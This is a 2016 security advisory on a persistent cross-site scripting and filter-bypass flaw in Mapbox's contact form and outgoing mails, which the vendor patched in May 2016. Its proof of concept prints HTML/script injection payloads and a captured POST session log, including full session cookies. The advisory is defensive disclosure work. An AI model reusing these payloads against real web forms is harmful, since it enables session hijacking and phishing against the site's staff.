Document Title: =============== Mapbox (API) - Filter Bypass & Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1787 ID: #119802 Release Date: ============= 2016-06-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1787 Common Vulnerability Scoring System: ==================================== 3.8 Product & Service Introduction: =============================== Mapbox is a large provider of custom online maps for websites such as Foursquare, Pinterest, Evernote, the Financial Times, The Weather Channel and Uber Technologies. Since 2010, it has rapidly expanded the niche of custom maps, as a response to the limited choice offered by map providers such as Google Maps. Mapbox is the creator of, or a significant contributor to some open source mapping libraries and applications, including the MBTiles specification, the TileMill cartography IDE, the Leaflet JavaScript library, and the CartoCSS map styling language and parser. (Copy of the Homepage: https://en.wikipedia.org/wiki/Mapbox ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a filter bypass issue and an application-side vulnerability in the official Mapbox online service web-application. Filter Bypass & Persistent Vulnerability Vulnerability Disclosure Timeline: ================================== 2016-03-01: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2016-03-01 Vendor Notification (MapBox Security Team - Bug Bounty Program) 2016-03-01: Vendor Response/Feedback (MapBox Security Team - Bug Bounty Program) 2016-05-11: Vendor Fix/Patch (MapBox Service Developer Team) 2016-06-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side input validation web vulnerability has been discovered in the official Mapbox online service web-application. The vulnerability allows remote attacker to inject malicious script codes to application-side of the vulnerable service module. The discovered vulnerability is an application-side input validation issue with affect to the outgoing mail encoding of the domains web-server. The injection point is the contact formular and the execution point is the email that is get send to the contact email in the form without secure verify. The encoding of outgoing mails is broken and encodes the context with wrong conditions. The vulnerable inputs is the Name and the Note context. The request method to inject is POST via contact form. The attacker injects the payload to the name or note value of the contact formular that requests through the basic api. After the inject the code runs wrong encoded through the system and executes at the managers section but also in the ticket system message replies itself. The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the persistent web vulnerability requires no privileged web-application account with restricted access but low user interaction. Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Module(s) [+] ./contact/ Vulnerable Input(s): [+] Firstname [+] Lastname Vulnerable Parameter(s) [+] Name [+] Note Affected Module(s) [+] Mapbox Service Mails Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. <tbody><tr> <td style="padding:8px 0 10px 0;"> <h3 style="font-family:Arial, government-labHelvetica Neuegovernment-lab, Helvetica, Tahoma, sans-serif; color:#717171; font-size:16px; line-height:22px; margin:0; font-weight:normal;"><strong style="color:#000000;">Remove23</strong> sent a message</h3> </td> <td style="padding:8px 0 10px 0;" valign="top"> <div style="font-family:Arial, government-labHelvetica Neuegovernment-lab, Helvetica, Tahoma, sans-serif; color:#9E9E9E; font-size:12px; line-height:18px; margin:0;" align="right">Mar 1, 8:22am</div> </td> </tr> <tr> <td colspan="2" style="padding:8px 0 10px 0;"> <div style="font-family:Arial, government-labHelvetica Neuegovernment-lab, Helvetica, Tahoma, sans-serif; color:#222222; font-size:13px; line-height:19px; margin:0;"> <ul> <li><strong>Plan:</strong> premium</li> <li><strong>Name:</strong> "><"<[PERSISTENT INJECTED SCRIPT CODE!] src="x" />%20%20>"</li> </ul><br><br> ... ... <td height="1"><div style="border-bottom:1px solid #e6e6e6;"></div></td> </tr> <tr> <td height="20"></td> </tr> <!-- /thread --> <tr> <td height="0" style="font-size: 0px;line-height: 0px;color:#ffffff;">{#HS:176795903-53087#}</td> </tr> </table> </td> </tr> </table> </body> </html> </body> </html> </iframe></li></ul></div></td></tr></tbody> --- PoC Session Logs [POST] --- Status: 201[Created] POST https://www.mapbox.com/core/api/users/danielkunz/authorizations/ Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[392] Mime Type[application/json] Request Header: Host[www.mapbox.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate, br] Content-Type[application/json] Referer[https://www.mapbox.com/studio/account/tokens/] Content-Length[166] Cookie[ajs_user_id=%22danielkunz%22; ajs_group_id=null; ajs_anonymous_id=%22eece0883-1dfa-4d4f-882d-b91ba10eebf8%22; _ga=GA1.2.158045848.1456848747; connect.sid=TuVbQ8DbdbB1K7ahBx4Nkw.3SxrWbYDjgbdDAIV7yNOHc0NK14l5BqKjwOrcq6meTPiDRlN_oLNtY1yPPOrvZxAhT7PbMov3CS1KiQWpomyppnNbFDfHiNzQahpIhGU12jLuJP8h_JBWnz f7c9NaV0_pFE3CPZC1XRT_zya_7GzZw.1456848749225.31536000000.yGTGLwBkF1KHBCxWiSjGr8RraoLtisz5frnVT39t1NQ; _hp2_ses_props.3859983338=%7B%22r%22%3A%22%22%2C%22 e%22%3A%22%22%2C%22us%22%3A%22%22%2C%22um%22%3A%22%22%2C%22ut%22%3A%22%22%2C%22uc%22%3A%22%22%2C%22ua%22%3A%22%22%7D; _hp2_id.3859983338=1450272335568629. 2335232979.2893142437; __ar_v4=SSJTPJ5WABDR3EINNFOIF6%3A20160231%3A13%7CCJDHCYPX3FFVREW6EU72A6%3A20160231%3A13%7CT4ADTFYFYFDYPODRM3UKAO%3A20160231%3A12%7C G72FPCROYNGGHL3F6CY5KE%3A20160231%3A1; gwcc=%7B%22fallback%22%3A%228034706277%22%2C%22clabel%22%3A%22BM7sCKLXiV8Q8IOfywM%22%2C%22backoff%22%3A86400%2C%22b ackoff_expires%22%3A1456935147%7D; intercom-visitor-semaphore-wg57poe2=1; _cio=a2c9b6ce-126a-3951-c361-ef60d0a5940e; mp_mixpanel__c=3; _cioid=danielkunz; _gat=1; mp_763de402835ccbeea5732a796881bfe9_mixpanel=%7B%22distinct_id%22%3A%20%22danielkunz%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24 initial_referring_domain%22%3A%20%22%24direct%22%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__ mpu%22%3A%20%7B%7D%2C%22__mpap%22%3A%20%5B%5D%2C%22mp_name_tag%22%3A%20%22admin%40evolution-sec.com%22%2C%22plan%22%3A%20%22starter%22%2C%22avatar %22%3A%20%22https%3A%2F%2Fwww.gravatar.com%2Favatar%2F9c7395816815ae54996bf18a45714646.jpg%3Fd%3Dmm%22%2C%22persona%22%3A%20%22gis%22%2C%22id%22%3A%20%22 danielkunz%22%2C%22%24created%22%3A%20%222016-03-01T16%3A15%3A24.235Z%22%2C%22%24email%22%3A%20%22admin%40evolution-sec.com%22%2C%22%24 first_name%22%3A%20%22%5C%22%3E%3C%5C%22%3Cimg%22%2C%22%24name%22%3A%20%22%5C%22%3E%3C%5C%22%3Cimg%20src%3D%5C%22x%5C%22%3E%2520%2520%3E%5C%22%3Ciframe%20 src%3Da%3E%2520%3Ciframe%3E%20%20%5C%22%3E%3C%5C%22%3Cimg%20src%3D%5C%22x%5C%22%3E%2520%2520%3E%5C%22%3Ciframe%20src%3Da%3E%2520%3Ciframe%3E%22%2C%22%24 last_name%22%3A%20%22src%3D%5C%22x%5C%22%3E%2520%2520%3E%5C%22%3Ciframe%20src%3Da%3E%2520%3Ciframe%3E%20%20%5C%22%3E%3C%5C%22%3Cimg%20src%3D%5C%22x%5C%22 %3E%2520%2520%3E%5C%22%3Ciframe%20src%3Da%3E%2520%3Ciframe%3E%22%7D] Connection[keep-alive] POST-Daten: {"note":""><"<img src["x">%20%20>"<iframe src=a>%20<iframe> "><"<img src="x">%20%20>"<iframe src=a>%20<iframe>","scopes":[],"resources":null,"usage":"pk"}] Response Header: Content-Type[application/json; charset=utf-8] Server[nginx] X-Powered-By[Express] Content-Length[392] Accept-Ranges[bytes] Date[Tue, 01 Mar 2016 16:24:07 GMT] Via[1.1 varnish] Connection[keep-alive] X-Served-By[cache-ams4147-AMS] X-Cache[MISS] X-Cache-Hits[0] Strict-Transport-Security[max-age=31536000; includeSubDomains; preload] X-Content-Type-Options[nosniff] x-download-options[noopen] X-XSS-Protection[1; mode=block] X-Frame-Options[SAMEORIGIN] Reference(s): https://www.mapbox.com/ https://www.mapbox.com/contact/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable note and name value in the Contact form POST method request. Filter the input and disallow special chars to prevent persistent script code injects. Encode all Name and Note values that are stored in the dbms. Filter in the email service the incoming and outgoing emails with the marked vulnerable values to finally patch the issue in the ticket and communcation system. Security Risk: ============== The security risk fo the application-side mail encoding web vulnerability in the mapbox application is estimated as medium. (CVSS 3.8) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@xxxxxxxxxxxxxxxxxxxxx - research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@xxxxxxxxxxxxxxxxxxxxx) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@xxxxxxxxxxxxxxxxxxxxx